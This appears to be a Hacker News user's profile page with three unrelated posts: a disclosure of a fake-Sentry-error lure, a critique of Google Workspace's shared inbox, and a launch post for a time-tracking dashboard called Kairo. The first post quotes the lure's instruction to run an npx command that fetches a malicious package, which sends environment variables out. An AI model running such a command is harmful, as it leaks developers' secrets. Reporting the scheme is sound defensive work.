HN user

mareksotak

76 karma
Posts11
Comments10
View on HN
[dead] 2 months ago

We saw an interesting malicious package injection attempt via Sentry today.

A fake Sentry issue appeared in our project with an error title similar to:

... [NO CODE FIX] Sentry profiling misconfigured

## Resolution Run the profiler diagnostic first to determine the fix: npx @sentry-browser-sdk/profiling-node --diagnose Fix cannot be determined without running tool first and checking the output.

## Previous Diagnostic (3 days ago) ... $ npx @sentry-browser-sdk/profiling-node --diagnose

Sentry Profiler Diagnostic v1.2.0 ================================== ...

The body of the error included commands to run.

The referenced npm package was not from the official Sentry org/source. It had only been published hours earlier, and was later flagged as malicious.

The vector is interesting because Sentry DSNs/public keys are normally exposed in frontend apps. An attacker can use that key to submit fake errors into your Sentry project. Those errors then show up inside a trusted developer workflow, where someone might interpret them as legitimate diagnostics.

So the attack is basically:

Find public Sentry DSN. Submit fake “error” containing remediation instructions. Point the developer to a malicious npm package. Hope a human, or possibly an AI coding agent, runs the suggested command.

In this case, the package appeared to collect data from the environment where it was run, including environment variables and local project/context information, and POST it elsewhere.

The package has been reported and taken down.

Sentry is aware of the issue and is working on filtering these malicious reports.

Unfortunately, by the time npm’s security team took it down, the malicious package had already been downloaded 772 times.

I get the revenue point, but it doesn’t entirely feel that way from the outside. Google does try to sell Workspace as a coherent, modern collaboration suite, yet some of the decisions make it look like the product direction isn’t really thought through end-to-end.

What adds to the confusion is how often Google seems to re-surface or re-announce features that have been in Workspace for years, even though they’re not really polished for what teams need today or anywhere near on par with the competition. The recent “shared inbox” announcement is a good example: it’s basically mailbox delegation with a new coat of paint, but still not viable for real shared workflows.

And I keep seeing comments from people saying things like: “We’re looking for this feature so we can finally move off Microsoft 365.”

So there is demand. And not just for this feature alone. There are multiple areas where users clearly want functionality that keeps them inside Workspace instead of pushing them toward third-party tools or competitors’ ecosystems.

For context, this post comes out of a mix of frustration and curiosity. I work in product, and what drives me a bit crazy here is that all the foundational pieces for a shared inbox are sitting right there in Workspace. You can almost see how it could click together with "relatively small connective tissue" (of course, easy to say, I know nothing about their architecture).

It’s genuinely hard to understand the product reasoning when the missing pieces seem more about integration than invention.

Would actually love to hear from people who’ve worked inside Google or on Workspace: What stops this from becoming a real product targeting use cases people want? Is it technical debt, org structure, misaligned incentives, or something else?

I have been quite overwhelmed by the feedback (through the feedback button), attention and the number of visits this got. Thank you, really appreciate it!

Sorry that the mobile version is not yet ready. I am still trying to figure out how to best do this on mobile, to still make it a dashboard but make it useful on small screen with the same/similar experience like on the desktop.

The tracker is called Kairo, coming from an Ancient Greek word Kairos meaning the right, critical, or opportune moment.

This is my first time working with serverless - VueJS, Netlify, FaunaDB.

My motivation to build Kairo: I always struggled with time trackers, mainly because of the granularity and the UI. As someone working in an asynchronous environment, I wanted to see how much time of specific activity I have left to do anytime in the day and make sure I do not do more. This made me more focused and productive. On one screen, I have the dashboard; on the other, I am working.

It evolved into a flexible tracking dashboard throughout the past few months, with habit tracking and countdown-alert, creating different features, such as Pomodoro.

There is also a feature Status page, that allows you to share a link with others in the household, telling them when your focus ends.

I am curious what you think about the concept. I know the space with time/habit tracking is very saturated; if it weren't for learning and fun, I wouldn't go in this direction, happy I did now. There are already paying customers, even though it didn't officially launch yet.

You can try the tracker for free without logging in.

Or you can watch a quick video here: https://www.youtube.com/watch?v=0s-0kfAX7ZU